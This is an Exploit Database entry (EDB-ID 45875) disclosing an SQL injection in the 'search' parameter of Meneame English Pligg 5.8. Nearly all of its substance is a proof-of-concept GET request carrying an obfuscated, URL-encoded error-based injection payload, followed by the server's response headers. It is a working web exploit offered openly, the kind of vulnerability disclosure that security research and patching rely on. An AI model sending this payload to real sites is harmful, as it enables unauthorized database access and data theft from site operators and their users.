



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Meneame English Pligg 5.8 - 'search' SQL Injection

EDB-ID:

45875

CVE:

N/A

EDB Verified: ✗

Author:

[IHSAN SENCAN](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2018-11-15

Vulnerable App: 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: Meneame English Pligg 5.8 - 'search' SQL Injection
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://sourceforge.net/projects/meneame-english/
# Software Link:
https://master.dl.sourceforge.net/project/meneame/meneame/Beta%205.8/Pligg_Be
# Version: 5.8
# Category: Webapps
# Tested on: Win7_x64/KaLiLinux_x64
# CVE: N/A

# POC:
# 1)
# http://localhost/[PATH]/index.php?search=[SQL]
#
GET /[PATH]/?
search=%61%27%29%20%41%4e%44%20(SeleCT%20%27Efe%27%20From%20duAL%20WheRE%2011
(SeLEct%20(ELT(112=112,1))),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PL
-%20Efe HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 15:10:50 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 7044
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.